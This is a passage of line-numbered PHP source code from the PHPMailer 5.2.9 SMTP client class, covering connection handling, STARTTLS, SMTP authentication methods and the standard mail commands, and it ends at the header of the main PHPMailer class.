6826 * The PHPMailer SMTP Version number.
6827 * @type string
6828 * @deprecated Use the `VERSION` constant instead
6829 * @see SMTP::VERSION
6830 */
6831 public $Version = '5.2.9';
6832
6833 /**
6834 * SMTP server port number.
6835 * @type integer
6836 * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
6837 * @see SMTP::DEFAULT_SMTP_PORT
6838 */
6839 public $SMTP_PORT = 25;
6840
6841 /**
6842 * SMTP reply line ending.
6843 * @type string
6844 * @deprecated Use the `CRLF` constant instead
6845 * @see SMTP::CRLF
6846 */
6847 public $CRLF = "\r\n";
6848
6849 /**
6850 * Debug output level.
6851 * Options:
6852 * * self::DEBUG_OFF (`0`) No debug output, default
6853 * * self::DEBUG_CLIENT (`1`) Client commands
6854 * * self::DEBUG_SERVER (`2`) Client commands and server responses
6855 * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
6856 * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
6857 * @type integer
6858 */
6859 public $do_debug = self::DEBUG_OFF;
6860
6861 /**
6862 * How to handle debug output.
6863 * Options:
6864 * * `echo` Output plain-text as-is, appropriate for CLI
6865 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
6866 * * `error_log` Output to error log as configured in php.ini
6867 *
6868 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
6869 * <code>
6870 * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
6871 * </code>
6872 * @type string|callable
6873 */
6874 public $Debugoutput = 'echo';
6875
6876 /**
6877 * Whether to use VERP.
6878 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
6879 * @link http://www.postfix.org/VERP_README.html Info on VERP
6880 * @type boolean
6881 */
6882 public $do_verp = false;
6883
6884 /**
6885 * The timeout value for connection, in seconds.
6886 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
6887 * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
6888 * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
6889 * @type integer
6890 */
6891 public $Timeout = 300;
6892
6893 /**
6894 * How long to wait for commands to complete, in seconds.
6895 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
6896 * @type integer
6897 */
6898 public $Timelimit = 300;
6899
6900 /**
6901 * The socket for the server connection.
6902 * @type resource
6903 */
6904 protected $smtp_conn;
6905
6906 /**
6907 * Error message, if any, for the last call.
6908 * @type array
6909 */
6910 protected $error = array();
6911
6912 /**
6913 * The reply the server sent to us for HELO.
6914 * If null, no HELO string has yet been received.
6915 * @type string|null
6916 */
6917 protected $helo_rply = null;
6918
6919 /**
6920 * The set of SMTP extensions sent in reply to EHLO command.
6921 * Indexes of the array are extension names.
6922 * Value at index 'HELO' or 'EHLO' (according to command that was sent)
6923 * represents the server name. In case of HELO it is the only element of the array.
6924 * Other values can be boolean TRUE or an array containing extension options.
6925 * If null, no HELO/EHLO string has yet been received.
6926 * @type array|null
6927 */
6928 protected $server_caps = null;
6929
6930 /**
6931 * The most recent reply received from the server.
6932 * @type string
6933 */
6934 protected $last_reply = '';
6935
6936 /**
6937 * Output debugging info via a user-selected method.
6938 * @see SMTP::$Debugoutput
6939 * @see SMTP::$do_debug
6940 * @param string $str Debug string to output
6941 * @param integer $level The debug level of this message; see DEBUG_* constants
6942 * @return void
6943 */
6944 protected function edebug($str, $level = 0)
6945 {
6946 if ($level > $this->do_debug) {
6947 return;
6948 }
6949 //Avoid clash with built-in function names
6950 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
6951 call_user_func($this->Debugoutput, $str, $this->do_debug);
6952 return;
6953 }
6954 switch ($this->Debugoutput) {
6955 case 'error_log':
6956 //Don't output, just log
6957 error_log($str);
6958 break;
6959 case 'html':
6960 //Cleans up output a bit for a better looking, HTML-safe output
6961 echo htmlentities(
6962 preg_replace('/[\r\n]+/', '', $str),
6963 ENT_QUOTES,
6964 'UTF-8'
6965 )
6966 . "<br>\n";
6967 break;
6968 case 'echo':
6969 default:
6970 //Normalize line breaks
6971 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
6972 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
6973 "\n",
6974 "\n \t ",
6975 trim($str)
6976 )."\n";
6977 }
6978 }
6979
6980 /**
6981 * Connect to an SMTP server.
6982 * @param string $host SMTP server IP or host name
6983 * @param integer $port The port number to connect to
6984 * @param integer $timeout How long to wait for the connection to open
6985 * @param array $options An array of options for stream_context_create()
6986 * @access public
6987 * @return boolean
6988 */
6989 public function connect($host, $port = null, $timeout = 30, $options = array())
6990 {
6991 static $streamok;
6992 //This is enabled by default since 5.0.0 but some providers disable it
6993 //Check this once and cache the result
6994 if (is_null($streamok)) {
6995 $streamok = function_exists('stream_socket_client');
6996 }
6997 // Clear errors to avoid confusion
6998 $this->error = array();
6999 // Make sure we are __not__ connected
7000 if ($this->connected()) {
7001 // Already connected, generate error
7002 $this->error = array('error' => 'Already connected to a server');
7003 return false;
7004 }
7005 if (empty($port)) {
7006 $port = self::DEFAULT_SMTP_PORT;
7007 }
7008 // Connect to the SMTP server
7009 $this->edebug(
7010 "Connection: opening to $host:$port, t=$timeout, opt=".var_export($options, true),
7011 self::DEBUG_CONNECTION
7012 );
7013 $errno = 0;
7014 $errstr = '';
7015 if ($streamok) {
7016 $socket_context = stream_context_create($options);
7017 //Suppress errors; connection failures are handled at a higher level
7018 $this->smtp_conn = @stream_socket_client(
7019 $host . ":" . $port,
7020 $errno,
7021 $errstr,
7022 $timeout,
7023 STREAM_CLIENT_CONNECT,
7024 $socket_context
7025 );
7026 } else {
7027 //Fall back to fsockopen which should work in more places, but is missing some features
7028 $this->edebug(
7029 "Connection: stream_socket_client not available, falling back to fsockopen",
7030 self::DEBUG_CONNECTION
7031 );
7032 $this->smtp_conn = fsockopen(
7033 $host,
7034 $port,
7035 $errno,
7036 $errstr,
7037 $timeout
7038 );
7039 }
7040 // Verify we connected properly
7041 if (!is_resource($this->smtp_conn)) {
7042 $this->error = array(
7043 'error' => 'Failed to connect to server',
7044 'errno' => $errno,
7045 'errstr' => $errstr
7046 );
7047 $this->edebug(
7048 'SMTP ERROR: ' . $this->error['error']
7049 . ": $errstr ($errno)",
7050 self::DEBUG_CLIENT
7051 );
7052 return false;
7053 }
7054 $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
7055 // SMTP server can take longer to respond, give longer timeout for first read
7056 // Windows does not have support for this timeout function
7057 if (substr(PHP_OS, 0, 3) != 'WIN') {
7058 $max = ini_get('max_execution_time');
7059 if ($max != 0 && $timeout > $max) { // Don't bother if unlimited
7060 @set_time_limit($timeout);
7061 }
7062 stream_set_timeout($this->smtp_conn, $timeout, 0);
7063 }
7064 // Get any announcement
7065 $announce = $this->get_lines();
7066 $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
7067 return true;
7068 }
7069
7070 /**
7071 * Initiate a TLS (encrypted) session.
7072 * @access public
7073 * @return boolean
7074 */
7075 public function startTLS()
7076 {
7077 if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
7078 return false;
7079 }
7080 // Begin encrypted connection
7081 if (!stream_socket_enable_crypto(
7082 $this->smtp_conn,
7083 true,
7084 STREAM_CRYPTO_METHOD_TLS_CLIENT
7085 )) {
7086 return false;
7087 }
7088 return true;
7089 }
7090
7091 /**
7092 * Perform SMTP authentication.
7093 * Must be run after hello().
7094 * @see hello()
7095 * @param string $username The user name
7096 * @param string $password The password
7097 * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5)
7098 * @param string $realm The auth realm for NTLM
7099 * @param string $workstation The auth workstation for NTLM
7100 * @access public
7101 * @return boolean True if successfully authenticated.
7102 */
7103 public function authenticate(
7104 $username,
7105 $password,
7106 $authtype = null,
7107 $realm = '',
7108 $workstation = ''
7109 ) {
7110 if (!$this->server_caps) {
7111 $this->error = array('error' => 'Authentication is not allowed before HELO/EHLO');
7112 return false;
7113 }
7114
7115 if (array_key_exists('EHLO', $this->server_caps)) {
7116 // SMTP extensions are available. Let's try to find a proper authentication method
7117
7118 if (!array_key_exists('AUTH', $this->server_caps)) {
7119 $this->error = array( 'error' => 'Authentication is not allowed at this stage' );
7120 // 'at this stage' means that auth may be allowed after the stage changes
7121 // e.g. after STARTTLS
7122 return false;
7123 }
7124
7125 self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
7126 self::edebug(
7127 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
7128 self::DEBUG_LOWLEVEL
7129 );
7130
7131 if (empty($authtype)) {
7132 foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
7133 if (in_array($method, $this->server_caps['AUTH'])) {
7134 $authtype = $method;
7135 break;
7136 }
7137 }
7138 if (empty($authtype)) {
7139 $this->error = array( 'error' => 'No supported authentication methods found' );
7140 return false;
7141 }
7142 self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
7143 }
7144
7145 if (!in_array($authtype, $this->server_caps['AUTH'])) {
7146 $this->error = array( 'error' => 'The requested authentication method "'
7147 . $authtype . '" is not supported by the server' );
7148 return false;
7149 }
7150 } elseif (empty($authtype)) {
7151 $authtype = 'LOGIN';
7152 }
7153 switch ($authtype) {
7154 case 'PLAIN':
7155 // Start authentication
7156 if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
7157 return false;
7158 }
7159 // Send encoded username and password
7160 if (!$this->sendCommand(
7161 'User & Password',
7162 base64_encode("\0" . $username . "\0" . $password),
7163 235
7164 )
7165 ) {
7166 return false;
7167 }
7168 break;
7169 case 'LOGIN':
7170 // Start authentication
7171 if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
7172 return false;
7173 }
7174 if (!$this->sendCommand("Username", base64_encode($username), 334)) {
7175 return false;
7176 }
7177 if (!$this->sendCommand("Password", base64_encode($password), 235)) {
7178 return false;
7179 }
7180 break;
7181 case 'NTLM':
7182 /*
7183 * ntlm_sasl_client.php
7184 * Bundled with Permission
7185 *
7186 * How to telnet in windows:
7187 * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx
7188 * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication
7189 */
7190 require_once 'extras/ntlm_sasl_client.php';
7191 $temp = new stdClass();
7192 $ntlm_client = new ntlm_sasl_client_class;
7193 //Check that functions are available
7194 if (!$ntlm_client->Initialize($temp)) {
7195 $this->error = array('error' => $temp->error);
7196 $this->edebug(
7197 'You need to enable some modules in your php.ini file: '
7198 . $this->error['error'],
7199 self::DEBUG_CLIENT
7200 );
7201 return false;
7202 }
7203 //msg1
7204 $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
7205
7206 if (!$this->sendCommand(
7207 'AUTH NTLM',
7208 'AUTH NTLM ' . base64_encode($msg1),
7209 334
7210 )
7211 ) {
7212 return false;
7213 }
7214 //Though 0 based, there is a white space after the 3 digit number
7215 //msg2
7216 $challenge = substr($this->last_reply, 3);
7217 $challenge = base64_decode($challenge);
7218 $ntlm_res = $ntlm_client->NTLMResponse(
7219 substr($challenge, 24, 8),
7220 $password
7221 );
7222 //msg3
7223 $msg3 = $ntlm_client->TypeMsg3(
7224 $ntlm_res,
7225 $username,
7226 $realm,
7227 $workstation
7228 );
7229 // send encoded username
7230 return $this->sendCommand('Username', base64_encode($msg3), 235);
7231 case 'CRAM-MD5':
7232 // Start authentication
7233 if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
7234 return false;
7235 }
7236 // Get the challenge
7237 $challenge = base64_decode(substr($this->last_reply, 4));
7238
7239 // Build the response
7240 $response = $username . ' ' . $this->hmac($challenge, $password);
7241
7242 // send encoded credentials
7243 return $this->sendCommand('Username', base64_encode($response), 235);
7244 default:
7245 $this->error = array( 'error' => 'Authentication method "' . $authtype . '" is not supported' );
7246 return false;
7247 }
7248 return true;
7249 }
7250
7251 /**
7252 * Calculate an MD5 HMAC hash.
7253 * Works like hash_hmac('md5', $data, $key)
7254 * in case that function is not available
7255 * @param string $data The data to hash
7256 * @param string $key The key to hash with
7257 * @access protected
7258 * @return string
7259 */
7260 protected function hmac($data, $key)
7261 {
7262 if (function_exists('hash_hmac')) {
7263 return hash_hmac('md5', $data, $key);
7264 }
7265
7266 // The following borrowed from
7267 // http://php.net/manual/en/function.mhash.php#27225
7268
7269 // RFC 2104 HMAC implementation for php.
7270 // Creates an md5 HMAC.
7271 // Eliminates the need to install mhash to compute a HMAC
7272 // by Lance Rushing
7273
7274 $bytelen = 64; // byte length for md5
7275 if (strlen($key) > $bytelen) {
7276 $key = pack('H*', md5($key));
7277 }
7278 $key = str_pad($key, $bytelen, chr(0x00));
7279 $ipad = str_pad('', $bytelen, chr(0x36));
7280 $opad = str_pad('', $bytelen, chr(0x5c));
7281 $k_ipad = $key ^ $ipad;
7282 $k_opad = $key ^ $opad;
7283
7284 return md5($k_opad . pack('H*', md5($k_ipad . $data)));
7285 }
7286
7287 /**
7288 * Check connection state.
7289 * @access public
7290 * @return boolean True if connected.
7291 */
7292 public function connected()
7293 {
7294 if (is_resource($this->smtp_conn)) {
7295 $sock_status = stream_get_meta_data($this->smtp_conn);
7296 if ($sock_status['eof']) {
7297 // The socket is valid but we are not connected
7298 $this->edebug(
7299 'SMTP NOTICE: EOF caught while checking if connected',
7300 self::DEBUG_CLIENT
7301 );
7302 $this->close();
7303 return false;
7304 }
7305 return true; // everything looks good
7306 }
7307 return false;
7308 }
7309
7310 /**
7311 * Close the socket and clean up the state of the class.
7312 * Don't use this function without first trying to use QUIT.
7313 * @see quit()
7314 * @access public
7315 * @return void
7316 */
7317 public function close()
7318 {
7319 $this->error = array();
7320 $this->server_caps = null;
7321 $this->helo_rply = null;
7322 if (is_resource($this->smtp_conn)) {
7323 // close the connection and cleanup
7324 fclose($this->smtp_conn);
7325 $this->smtp_conn = null; //Makes for cleaner serialization
7326 $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
7327 }
7328 }
7329
7330 /**
7331 * Send an SMTP DATA command.
7332 * Issues a data command and sends the msg_data to the server,
7333 * finializing the mail transaction. $msg_data is the message
7334 * that is to be send with the headers. Each header needs to be
7335 * on a single line followed by a <CRLF> with the message headers
7336 * and the message body being separated by and additional <CRLF>.
7337 * Implements rfc 821: DATA <CRLF>
7338 * @param string $msg_data Message data to send
7339 * @access public
7340 * @return boolean
7341 */
7342 public function data($msg_data)
7343 {
7344 //This will use the standard timelimit
7345 if (!$this->sendCommand('DATA', 'DATA', 354)) {
7346 return false;
7347 }
7348
7349 /* The server is ready to accept data!
7350 * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
7351 * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
7352 * smaller lines to fit within the limit.
7353 * We will also look for lines that start with a '.' and prepend an additional '.'.
7354 * NOTE: this does not count towards line-length limit.
7355 */
7356
7357 // Normalize line breaks before exploding
7358 $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
7359
7360 /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
7361 * of the first line (':' separated) does not contain a space then it _should_ be a header and we will
7362 * process all lines before a blank line as headers.
7363 */
7364
7365 $field = substr($lines[0], 0, strpos($lines[0], ':'));
7366 $in_headers = false;
7367 if (!empty($field) && strpos($field, ' ') === false) {
7368 $in_headers = true;
7369 }
7370
7371 foreach ($lines as $line) {
7372 $lines_out = array();
7373 if ($in_headers and $line == '') {
7374 $in_headers = false;
7375 }
7376 //We need to break this line up into several smaller lines
7377 //This is a small micro-optimisation: isset($str[$len]) is equivalent to (strlen($str) > $len)
7378 while (isset($line[self::MAX_LINE_LENGTH])) {
7379 //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
7380 //so as to avoid breaking in the middle of a word
7381 $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
7382 if (!$pos) { //Deliberately matches both false and 0
7383 //No nice break found, add a hard break
7384 $pos = self::MAX_LINE_LENGTH - 1;
7385 $lines_out[] = substr($line, 0, $pos);
7386 $line = substr($line, $pos);
7387 } else {
7388 //Break at the found point
7389 $lines_out[] = substr($line, 0, $pos);
7390 //Move along by the amount we dealt with
7391 $line = substr($line, $pos + 1);
7392 }
7393 //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
7394 if ($in_headers) {
7395 $line = "\t" . $line;
7396 }
7397 }
7398 $lines_out[] = $line;
7399
7400 //Send the lines to the server
7401 foreach ($lines_out as $line_out) {
7402 //RFC2821 section 4.5.2
7403 if (!empty($line_out) and $line_out[0] == '.') {
7404 $line_out = '.' . $line_out;
7405 }
7406 $this->client_send($line_out . self::CRLF);
7407 }
7408 }
7409
7410 //Message data has been sent, complete the command
7411 //Increase timelimit for end of DATA command
7412 $savetimelimit = $this->Timelimit;
7413 $this->Timelimit = $this->Timelimit * 2;
7414 $result = $this->sendCommand('DATA END', '.', 250);
7415 //Restore timelimit
7416 $this->Timelimit = $savetimelimit;
7417 return $result;
7418 }
7419
7420 /**
7421 * Send an SMTP HELO or EHLO command.
7422 * Used to identify the sending server to the receiving server.
7423 * This makes sure that client and server are in a known state.
7424 * Implements RFC 821: HELO <SP> <domain> <CRLF>
7425 * and RFC 2821 EHLO.
7426 * @param string $host The host name or IP to connect to
7427 * @access public
7428 * @return boolean
7429 */
7430 public function hello($host = '')
7431 {
7432 //Try extended hello first (RFC 2821)
7433 return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
7434 }
7435
7436 /**
7437 * Send an SMTP HELO or EHLO command.
7438 * Low-level implementation used by hello()
7439 * @see hello()
7440 * @param string $hello The HELO string
7441 * @param string $host The hostname to say we are
7442 * @access protected
7443 * @return boolean
7444 */
7445 protected function sendHello($hello, $host)
7446 {
7447 $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
7448 $this->helo_rply = $this->last_reply;
7449 if ($noerror) {
7450 $this->parseHelloFields($hello);
7451 } else {
7452 $this->server_caps = null;
7453 }
7454 return $noerror;
7455 }
7456
7457 /**
7458 * Parse a reply to HELO/EHLO command to discover server extensions.
7459 * In case of HELO, the only parameter that can be discovered is a server name.
7460 * @access protected
7461 * @param string $type - 'HELO' or 'EHLO'
7462 */
7463 protected function parseHelloFields($type)
7464 {
7465 $this->server_caps = array();
7466 $lines = explode("\n", $this->last_reply);
7467 foreach ($lines as $n => $s) {
7468 $s = trim(substr($s, 4));
7469 if (!$s) {
7470 continue;
7471 }
7472 $fields = explode(' ', $s);
7473 if ($fields) {
7474 if (!$n) {
7475 $name = $type;
7476 $fields = $fields[0];
7477 } else {
7478 $name = array_shift($fields);
7479 if ($name == 'SIZE') {
7480 $fields = ($fields) ? $fields[0] : 0;
7481 }
7482 }
7483 $this->server_caps[$name] = ($fields ? $fields : true);
7484 }
7485 }
7486 }
7487
7488 /**
7489 * Send an SMTP MAIL command.
7490 * Starts a mail transaction from the email address specified in
7491 * $from. Returns true if successful or false otherwise. If True
7492 * the mail transaction is started and then one or more recipient
7493 * commands may be called followed by a data command.
7494 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
7495 * @param string $from Source address of this message
7496 * @access public
7497 * @return boolean
7498 */
7499 public function mail($from)
7500 {
7501 $useVerp = ($this->do_verp ? ' XVERP' : '');
7502 return $this->sendCommand(
7503 'MAIL FROM',
7504 'MAIL FROM:<' . $from . '>' . $useVerp,
7505 250
7506 );
7507 }
7508
7509 /**
7510 * Send an SMTP QUIT command.
7511 * Closes the socket if there is no error or the $close_on_error argument is true.
7512 * Implements from rfc 821: QUIT <CRLF>
7513 * @param boolean $close_on_error Should the connection close if an error occurs?
7514 * @access public
7515 * @return boolean
7516 */
7517 public function quit($close_on_error = true)
7518 {
7519 $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
7520 $err = $this->error; //Save any error
7521 if ($noerror or $close_on_error) {
7522 $this->close();
7523 $this->error = $err; //Restore any error from the quit command
7524 }
7525 return $noerror;
7526 }
7527
7528 /**
7529 * Send an SMTP RCPT command.
7530 * Sets the TO argument to $toaddr.
7531 * Returns true if the recipient was accepted false if it was rejected.
7532 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
7533 * @param string $toaddr The address the message is being sent to
7534 * @access public
7535 * @return boolean
7536 */
7537 public function recipient($toaddr)
7538 {
7539 return $this->sendCommand(
7540 'RCPT TO',
7541 'RCPT TO:<' . $toaddr . '>',
7542 array(250, 251)
7543 );
7544 }
7545
7546 /**
7547 * Send an SMTP RSET command.
7548 * Abort any transaction that is currently in progress.
7549 * Implements rfc 821: RSET <CRLF>
7550 * @access public
7551 * @return boolean True on success.
7552 */
7553 public function reset()
7554 {
7555 return $this->sendCommand('RSET', 'RSET', 250);
7556 }
7557
7558 /**
7559 * Send a command to an SMTP server and check its return code.
7560 * @param string $command The command name - not sent to the server
7561 * @param string $commandstring The actual command to send
7562 * @param integer|array $expect One or more expected integer success codes
7563 * @access protected
7564 * @return boolean True on success.
7565 */
7566 protected function sendCommand($command, $commandstring, $expect)
7567 {
7568 if (!$this->connected()) {
7569 $this->error = array(
7570 'error' => "Called $command without being connected"
7571 );
7572 return false;
7573 }
7574 $this->client_send($commandstring . self::CRLF);
7575
7576 $this->last_reply = $this->get_lines();
7577 // Fetch SMTP code and possible error code explanation
7578 $matches = array();
7579 if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
7580 $code = $matches[1];
7581 $code_ex = (count($matches) > 2 ? $matches[2] : null);
7582 // Cut off error code from each response line
7583 $detail = preg_replace(
7584 "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
7585 '',
7586 $this->last_reply
7587 );
7588 } else { // Fall back to simple parsing if regex fails
7589 $code = substr($this->last_reply, 0, 3);
7590 $code_ex = null;
7591 $detail = substr($this->last_reply, 4);
7592 }
7593
7594 $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
7595
7596 if (!in_array($code, (array)$expect)) {
7597 $this->error = array(
7598 'error' => "$command command failed",
7599 'smtp_code' => $code,
7600 'smtp_code_ex' => $code_ex,
7601 'detail' => $detail
7602 );
7603 $this->edebug(
7604 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
7605 self::DEBUG_CLIENT
7606 );
7607 return false;
7608 }
7609
7610 $this->error = array();
7611 return true;
7612 }
7613
7614 /**
7615 * Send an SMTP SAML command.
7616 * Starts a mail transaction from the email address specified in $from.
7617 * Returns true if successful or false otherwise. If True
7618 * the mail transaction is started and then one or more recipient
7619 * commands may be called followed by a data command. This command
7620 * will send the message to the users terminal if they are logged
7621 * in and send them an email.
7622 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
7623 * @param string $from The address the message is from
7624 * @access public
7625 * @return boolean
7626 */
7627 public function sendAndMail($from)
7628 {
7629 return $this->sendCommand('SAML', "SAML FROM:$from", 250);
7630 }
7631
7632 /**
7633 * Send an SMTP VRFY command.
7634 * @param string $name The name to verify
7635 * @access public
7636 * @return boolean
7637 */
7638 public function verify($name)
7639 {
7640 return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
7641 }
7642
7643 /**
7644 * Send an SMTP NOOP command.
7645 * Used to keep keep-alives alive, doesn't actually do anything
7646 * @access public
7647 * @return boolean
7648 */
7649 public function noop()
7650 {
7651 return $this->sendCommand('NOOP', 'NOOP', 250);
7652 }
7653
7654 /**
7655 * Send an SMTP TURN command.
7656 * This is an optional command for SMTP that this class does not support.
7657 * This method is here to make the RFC821 Definition complete for this class
7658 * and _may_ be implemented in future
7659 * Implements from rfc 821: TURN <CRLF>
7660 * @access public
7661 * @return boolean
7662 */
7663 public function turn()
7664 {
7665 $this->error = array(
7666 'error' => 'The SMTP TURN command is not implemented'
7667 );
7668 $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
7669 return false;
7670 }
7671
7672 /**
7673 * Send raw data to the server.
7674 * @param string $data The data to send
7675 * @access public
7676 * @return integer|boolean The number of bytes sent to the server or false on error
7677 */
7678 public function client_send($data)
7679 {
7680 $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
7681 return fwrite($this->smtp_conn, $data);
7682 }
7683
7684 /**
7685 * Get the latest error.
7686 * @access public
7687 * @return array
7688 */
7689 public function getError()
7690 {
7691 return $this->error;
7692 }
7693
7694 /**
7695 * Get SMTP extensions available on the server
7696 * @access public
7697 * @return array|null
7698 */
7699 public function getServerExtList()
7700 {
7701 return $this->server_caps;
7702 }
7703
7704 /**
7705 * A multipurpose method
7706 * The method works in three ways, dependent on argument value and current state
7707 * 1. HELO/EHLO was not sent - returns null and set up $this->error
7708 * 2. HELO was sent
7709 * $name = 'HELO': returns server name
7710 * $name = 'EHLO': returns boolean false
7711 * $name = any string: returns null and set up $this->error
7712 * 3. EHLO was sent
7713 * $name = 'HELO'|'EHLO': returns server name
7714 * $name = any string: if extension $name exists, returns boolean True
7715 * or its options. Otherwise returns boolean False
7716 * In other words, one can use this method to detect 3 conditions:
7717 * - null returned: handshake was not or we don't know about ext (refer to $this->error)
7718 * - false returned: the requested feature exactly not exists
7719 * - positive value returned: the requested feature exists
7720 * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
7721 * @return mixed
7722 */
7723 public function getServerExt($name)
7724 {
7725 if (!$this->server_caps) {
7726 $this->error = array('No HELO/EHLO was sent');
7727 return null;
7728 }
7729
7730 // the tight logic knot ;)
7731 if (!array_key_exists($name, $this->server_caps)) {
7732 if ($name == 'HELO') {
7733 return $this->server_caps['EHLO'];
7734 }
7735 if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
7736 return false;
7737 }
7738 $this->error = array('HELO handshake was used. Client knows nothing about server extensions');
7739 return null;
7740 }
7741
7742 return $this->server_caps[$name];
7743 }
7744
7745 /**
7746 * Get the last reply from the server.
7747 * @access public
7748 * @return string
7749 */
7750 public function getLastReply()
7751 {
7752 return $this->last_reply;
7753 }
7754
7755 /**
7756 * Read the SMTP server's response.
7757 * Either before eof or socket timeout occurs on the operation.
7758 * With SMTP we can tell if we have more lines to read if the
7759 * 4th character is '-' symbol. If it is a space then we don't
7760 * need to read anything else.
7761 * @access protected
7762 * @return string
7763 */
7764 protected function get_lines()
7765 {
7766 // If the connection is bad, give up straight away
7767 if (!is_resource($this->smtp_conn)) {
7768 return '';
7769 }
7770 $data = '';
7771 $endtime = 0;
7772 stream_set_timeout($this->smtp_conn, $this->Timeout);
7773 if ($this->Timelimit > 0) {
7774 $endtime = time() + $this->Timelimit;
7775 }
7776 while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
7777 $str = @fgets($this->smtp_conn, 515);
7778 $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
7779 $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
7780 $data .= $str;
7781 $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
7782 // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
7783 if ((isset($str[3]) and $str[3] == ' ')) {
7784 break;
7785 }
7786 // Timed-out? Log and break
7787 $info = stream_get_meta_data($this->smtp_conn);
7788 if ($info['timed_out']) {
7789 $this->edebug(
7790 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
7791 self::DEBUG_LOWLEVEL
7792 );
7793 break;
7794 }
7795 // Now check if reads took too long
7796 if ($endtime and time() > $endtime) {
7797 $this->edebug(
7798 'SMTP -> get_lines(): timelimit reached ('.
7799 $this->Timelimit . ' sec)',
7800 self::DEBUG_LOWLEVEL
7801 );
7802 break;
7803 }
7804 }
7805 return $data;
7806 }
7807
7808 /**
7809 * Enable or disable VERP address generation.
7810 * @param boolean $enabled
7811 */
7812 public function setVerp($enabled = false)
7813 {
7814 $this->do_verp = $enabled;
7815 }
7816
7817 /**
7818 * Get VERP address generation mode.
7819 * @return boolean
7820 */
7821 public function getVerp()
7822 {
7823 return $this->do_verp;
7824 }
7825
7826 /**
7827 * Set debug output method.
7828 * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
7829 */
7830 public function setDebugOutput($method = 'echo')
7831 {
7832 $this->Debugoutput = $method;
7833 }
7834
7835 /**
7836 * Get debug output method.
7837 * @return string
7838 */
7839 public function getDebugOutput()
7840 {
7841 return $this->Debugoutput;
7842 }
7843
7844 /**
7845 * Set debug output level.
7846 * @param integer $level
7847 */
7848 public function setDebugLevel($level = 0)
7849 {
7850 $this->do_debug = $level;
7851 }
7852
7853 /**
7854 * Get debug output level.
7855 * @return integer
7856 */
7857 public function getDebugLevel()
7858 {
7859 return $this->do_debug;
7860 }
7861
7862 /**
7863 * Set SMTP timeout.
7864 * @param integer $timeout
7865 */
7866 public function setTimeout($timeout = 0)
7867 {
7868 $this->Timeout = $timeout;
7869 }
7870
7871 /**
7872 * Get SMTP timeout.
7873 * @return integer
7874 */
7875 public function getTimeout()
7876 {
7877 return $this->Timeout;
7878 }
7879}
7880
7881?>
7882<?php
7883/**
7884 * PHPMailer - PHP email creation and transport class.
7885 * PHP Version 5
7886 * @package PHPMailer
7887 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
7888 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
7889 * @author Jim Jagielski (jimjag) <m>
